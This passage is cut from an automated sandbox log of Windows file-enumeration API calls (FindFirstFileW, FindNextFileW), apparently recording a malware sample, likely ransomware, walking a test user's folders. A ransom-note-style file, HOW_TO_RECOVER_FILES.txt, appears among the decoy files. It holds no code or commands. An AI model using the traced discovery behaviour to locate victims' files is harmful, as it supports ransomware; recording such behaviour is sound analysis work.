ftCreationTime.dwLowDateTime=0xa0672700, ftCreationTime.dwHighDateTime=0x1d4ce4f, ftLastAccessTime.dwLowDateTime=0xc2b50820, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0xc2b50820, ftLastWriteTime.dwHighDateTime=0x1d4d01d, nFileSizeHigh=0x0, nFileSizeLow=0x17f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="wk5AY3-oXk0Sddx-g.jpg", cAlternateFileName="WK5AY3~1.JPG")) returned 1 [0188.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1cf50, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0xed8e7e20, ftLastAccessTime.dwHighDateTime=0x1d4cdaa, ftLastWriteTime.dwLowDateTime=0xed8e7e20, ftLastWriteTime.dwHighDateTime=0x1d4cdaa, nFileSizeHigh=0x0, nFileSizeLow=0x102e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wW38svU.bmp", cAlternateFileName="")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a4460, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x69efbe60, ftLastAccessTime.dwHighDateTime=0x1d4c852, ftLastWriteTime.dwLowDateTime=0x69efbe60, ftLastWriteTime.dwHighDateTime=0x1d4c852, nFileSizeHigh=0x0, nFileSizeLow=0x15c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="XfoQ4bdGvP9SyC9.bmp", cAlternateFileName="XFOQ4B~1.BMP")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c113000, ftCreationTime.dwHighDateTime=0x1d4d503, ftLastAccessTime.dwLowDateTime=0x8978d550, ftLastAccessTime.dwHighDateTime=0x1d4c8cf, ftLastWriteTime.dwLowDateTime=0x8978d550, ftLastWriteTime.dwHighDateTime=0x1d4c8cf, nFileSizeHigh=0x0, nFileSizeLow=0xddb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="YMqWJw-Z3QNsVBZ.jpg", cAlternateFileName="YMQWJW~1.JPG")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e85d2a0, ftCreationTime.dwHighDateTime=0x1d4d353, ftLastAccessTime.dwLowDateTime=0x2fece3b0, ftLastAccessTime.dwHighDateTime=0x1d4d59e, ftLastWriteTime.dwLowDateTime=0x2fece3b0, ftLastWriteTime.dwHighDateTime=0x1d4d59e, nFileSizeHigh=0x0, nFileSizeLow=0x16003, dwReserved0=0x0, dwReserved1=0x0, cFileName="yVaIEk.m4a", cAlternateFileName="")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741400, ftCreationTime.dwHighDateTime=0x1d4d0af, ftLastAccessTime.dwLowDateTime=0xfb61f2d0, ftLastAccessTime.dwHighDateTime=0x1d4ce21, ftLastWriteTime.dwLowDateTime=0xfb61f2d0, ftLastWriteTime.dwHighDateTime=0x1d4ce21, nFileSizeHigh=0x0, nFileSizeLow=0xf45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YW BBAy4.m4a", cAlternateFileName="YWBBAY~1.M4A")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7df2b0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x3af96ca0, ftLastAccessTime.dwHighDateTime=0x1d4d0e5, ftLastWriteTime.dwLowDateTime=0x3af96ca0, ftLastWriteTime.dwHighDateTime=0x1d4d0e5, nFileSizeHigh=0x0, nFileSizeLow=0x5ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zy EwOK.mkv", cAlternateFileName="ZYEWOK~1.MKV")) returned 1 [0188.208] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0188.208] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0188.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee390) returned 1 [0188.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee350) returned 1 [0188.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee450) returned 1 [0188.209] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x204edef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0188.209] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x204ee170 | out: lpFindFileData=0x204ee170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd110 [0188.209] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.209] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0188.209] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109bb70, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xbdbbe390, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xbdbbe390, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x1008d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGsVx-SPc.flv", cAlternateFileName="AGSVX-~1.FLV")) returned 1 [0188.209] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf12230, ftCreationTime.dwHighDateTime=0x1d4d28b, ftLastAccessTime.dwLowDateTime=0xae14e990, ftLastAccessTime.dwHighDateTime=0x1d4c897, ftLastWriteTime.dwLowDateTime=0xae14e990, ftLastWriteTime.dwHighDateTime=0x1d4c897, nFileSizeHigh=0x0, nFileSizeLow=0xc500, dwReserved0=0x0, dwReserved1=0x0, cFileName="amdnqRCqf8_2voF49l.xlsx", cAlternateFileName="AMDNQR~1.XLS")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411b5380, ftCreationTime.dwHighDateTime=0x1d4c7cd, ftLastAccessTime.dwLowDateTime=0xe90d2e10, ftLastAccessTime.dwHighDateTime=0x1d4cce1, ftLastWriteTime.dwLowDateTime=0xe90d2e10, ftLastWriteTime.dwHighDateTime=0x1d4cce1, nFileSizeHigh=0x0, nFileSizeLow=0x14a27, dwReserved0=0x0, dwReserved1=0x0, cFileName="aPQpe.swf", cAlternateFileName="")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f4df20, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x514cf390, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0x514cf390, ftLastWriteTime.dwHighDateTime=0x1d4c830, nFileSizeHigh=0x0, nFileSizeLow=0x16df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="At QlR3JAYBWorQBe.m4a", cAlternateFileName="ATQLR3~1.M4A")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45947a00, ftCreationTime.dwHighDateTime=0x1d4d159, ftLastAccessTime.dwLowDateTime=0x8712b6d0, ftLastAccessTime.dwHighDateTime=0x1d4c9f8, ftLastWriteTime.dwLowDateTime=0x8712b6d0, ftLastWriteTime.dwHighDateTime=0x1d4c9f8, nFileSizeHigh=0x0, nFileSizeLow=0xa5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bf2F_kvwVy5BKZ8ad.bmp", cAlternateFileName="BF2F_K~1.BMP")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe55af40, ftCreationTime.dwHighDateTime=0x1d4d272, ftLastAccessTime.dwLowDateTime=0x51cf8e10, ftLastAccessTime.dwHighDateTime=0x1d4d486, ftLastWriteTime.dwLowDateTime=0x51cf8e10, ftLastWriteTime.dwHighDateTime=0x1d4d486, nFileSizeHigh=0x0, nFileSizeLow=0x1656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="byRwSzDT.bmp", cAlternateFileName="")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d9f5b0, ftCreationTime.dwHighDateTime=0x1d4d410, ftLastAccessTime.dwLowDateTime=0xb405a0a0, ftLastAccessTime.dwHighDateTime=0x1d4c609, ftLastWriteTime.dwLowDateTime=0xb405a0a0, ftLastWriteTime.dwHighDateTime=0x1d4c609, nFileSizeHigh=0x0, nFileSizeLow=0xb8ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="d1CxCB-ylGVpacS.avi", cAlternateFileName="D1CXCB~1.AVI")) returned 1 [0188.210] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211f4b0, ftCreationTime.dwHighDateTime=0x1d4d32e, ftLastAccessTime.dwLowDateTime=0x7709a6a0, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x7709a6a0, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0xeb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtO13.mp3", cAlternateFileName="")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdce655d0, ftCreationTime.dwHighDateTime=0x1d4d2ea, ftLastAccessTime.dwLowDateTime=0xa7d8ce40, ftLastAccessTime.dwHighDateTime=0x1d4d24f, ftLastWriteTime.dwLowDateTime=0xa7d8ce40, ftLastWriteTime.dwHighDateTime=0x1d4d24f, nFileSizeHigh=0x0, nFileSizeLow=0x669f, dwReserved0=0x0, dwReserved1=0x0, cFileName="fqhY8t.bmp", cAlternateFileName="")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ebdf30, ftCreationTime.dwHighDateTime=0x1d4d5d8, ftLastAccessTime.dwLowDateTime=0xd2dcc770, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0xd2dcc770, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x89d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="G2Lz.png", cAlternateFileName="")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66481e62, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c163b0, ftCreationTime.dwHighDateTime=0x1d4cca8, ftLastAccessTime.dwLowDateTime=0xca7a5d40, ftLastAccessTime.dwHighDateTime=0x1d4c95f, ftLastWriteTime.dwLowDateTime=0xca7a5d40, ftLastWriteTime.dwHighDateTime=0x1d4c95f, nFileSizeHigh=0x0, nFileSizeLow=0x6fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="iF4Wfrb ggeFAts.wav", cAlternateFileName="IF4WFR~1.WAV")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9088500, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0xedd00d20, ftLastAccessTime.dwHighDateTime=0x1d4cf2d, ftLastWriteTime.dwLowDateTime=0xedd00d20, ftLastWriteTime.dwHighDateTime=0x1d4cf2d, nFileSizeHigh=0x0, nFileSizeLow=0xa6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="iqCkS8rk7.wav", cAlternateFileName="IQCKS8~1.WAV")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec11adf0, ftCreationTime.dwHighDateTime=0x1d4cf72, ftLastAccessTime.dwLowDateTime=0x4961b9f0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0x4961b9f0, ftLastWriteTime.dwHighDateTime=0x1d4c5b9, nFileSizeHigh=0x0, nFileSizeLow=0x4e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="JCLiCckShC2ALo.pps", cAlternateFileName="JCLICC~1.PPS")) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf39120, ftCreationTime.dwHighDateTime=0x1d4c83f, ftLastAccessTime.dwLowDateTime=0x2f17cc20, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x2f17cc20, ftLastWriteTime.dwHighDateTime=0x1d4c937, nFileSizeHigh=0x0, nFileSizeLow=0x13177, dwReserved0=0x0, dwReserved1=0x0, cFileName="jUJDu-.wav", cAlternateFileName="")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4109e30, ftCreationTime.dwHighDateTime=0x1d4d455, ftLastAccessTime.dwLowDateTime=0xf14a5560, ftLastAccessTime.dwHighDateTime=0x1d4d2d3, ftLastWriteTime.dwLowDateTime=0xf14a5560, ftLastWriteTime.dwHighDateTime=0x1d4d2d3, nFileSizeHigh=0x0, nFileSizeLow=0xf46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KGXkl.mp4", cAlternateFileName="")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f05a30, ftCreationTime.dwHighDateTime=0x1d4cd01, ftLastAccessTime.dwLowDateTime=0x99146100, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0x99146100, ftLastWriteTime.dwHighDateTime=0x1d4cbd1, nFileSizeHigh=0x0, nFileSizeLow=0xf4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="lE7hYV a8-60D.avi", cAlternateFileName="LE7HYV~1.AVI")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb490fb0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3590780, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0xb3590780, ftLastWriteTime.dwHighDateTime=0x1d4c6ba, nFileSizeHigh=0x0, nFileSizeLow=0x10d1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lYslnAP.png", cAlternateFileName="")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cba20c0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x9fdd13f0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x9fdd13f0, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0x14a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="M2_c_fYDVB.mkv", cAlternateFileName="M2_C_F~1.MKV")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0188.212] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa710a6e0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0xaee577d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0xaee577d0, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x67b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmwjLwg yPX8lDl.avi", cAlternateFileName="MMWJLW~1.AVI")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f63c20, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x6d5ba820, ftLastAccessTime.dwHighDateTime=0x1d4cc8f, ftLastWriteTime.dwLowDateTime=0x6d5ba820, ftLastWriteTime.dwHighDateTime=0x1d4cc8f, nFileSizeHigh=0x0, nFileSizeLow=0x7386, dwReserved0=0x0, dwReserved1=0x0, cFileName="NmQ74zwIyJC.m4a", cAlternateFileName="NMQ74Z~1.M4A")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc192830, ftCreationTime.dwHighDateTime=0x1d4ccff, ftLastAccessTime.dwLowDateTime=0x29b4d3d0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x29b4d3d0, ftLastWriteTime.dwHighDateTime=0x1d4cd3e, nFileSizeHigh=0x0, nFileSizeLow=0x24d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OGekF3XDNNGCZdu.wav", cAlternateFileName="OGEKF3~1.WAV")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f82f00, ftCreationTime.dwHighDateTime=0x1d4c7bd, ftLastAccessTime.dwLowDateTime=0xd90f4eb0, ftLastAccessTime.dwHighDateTime=0x1d4c88d, ftLastWriteTime.dwLowDateTime=0xd90f4eb0, ftLastWriteTime.dwHighDateTime=0x1d4c88d, nFileSizeHigh=0x0, nFileSizeLow=0x29e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OoyhSUQ8crZZOjCzc.doc", cAlternateFileName="OOYHSU~1.DOC")) returned 1 [0188.213] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ece460, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x8cbdf330, ftLastAccessTime.dwHighDateTime=0x1d4d4cd, ftLastWriteTime.dwLowDateTime=0x8cbdf330, ftLastWriteTime.dwHighDateTime=0x1d4d4cd, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="oYLEB3eighaP.png", cAlternateFileName="OYLEB3~1.PNG")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c0c00, ftCreationTime.dwHighDateTime=0x1d4caf8, ftLastAccessTime.dwLowDateTime=0x532a6410, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x532a6410, ftLastWriteTime.dwHighDateTime=0x1d4c699, nFileSizeHigh=0x0, nFileSizeLow=0x82b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjrm0wORMro.png", cAlternateFileName="PJRM0W~1.PNG")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6943e740, ftCreationTime.dwHighDateTime=0x1d4c58f, ftLastAccessTime.dwLowDateTime=0x2d7584d0, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x2d7584d0, ftLastWriteTime.dwHighDateTime=0x1d4c729, nFileSizeHigh=0x0, nFileSizeLow=0x186a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pqOHODy7S yW.m4a", cAlternateFileName="PQOHOD~1.M4A")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf761f0, ftCreationTime.dwHighDateTime=0x1d4ce7e, ftLastAccessTime.dwLowDateTime=0xaf601670, ftLastAccessTime.dwHighDateTime=0x1d4d5f9, ftLastWriteTime.dwLowDateTime=0xaf601670, ftLastWriteTime.dwHighDateTime=0x1d4d5f9, nFileSizeHigh=0x0, nFileSizeLow=0x164ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="QKnDF.bmp", cAlternateFileName="")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1de1100, ftCreationTime.dwHighDateTime=0x1d4c8e8, ftLastAccessTime.dwLowDateTime=0xeccfdf10, ftLastAccessTime.dwHighDateTime=0x1d4c6c5, ftLastWriteTime.dwLowDateTime=0xeccfdf10, ftLastWriteTime.dwHighDateTime=0x1d4c6c5, nFileSizeHigh=0x0, nFileSizeLow=0x48f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="R-l-JpT1rx5yIELP8.swf", cAlternateFileName="R-L-JP~1.SWF")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f8c530, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0xb49b4400, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0xb49b4400, ftLastWriteTime.dwHighDateTime=0x1d4d47a, nFileSizeHigh=0x0, nFileSizeLow=0x56aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLqWzXX.bmp", cAlternateFileName="")) returned 1 [0188.214] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, 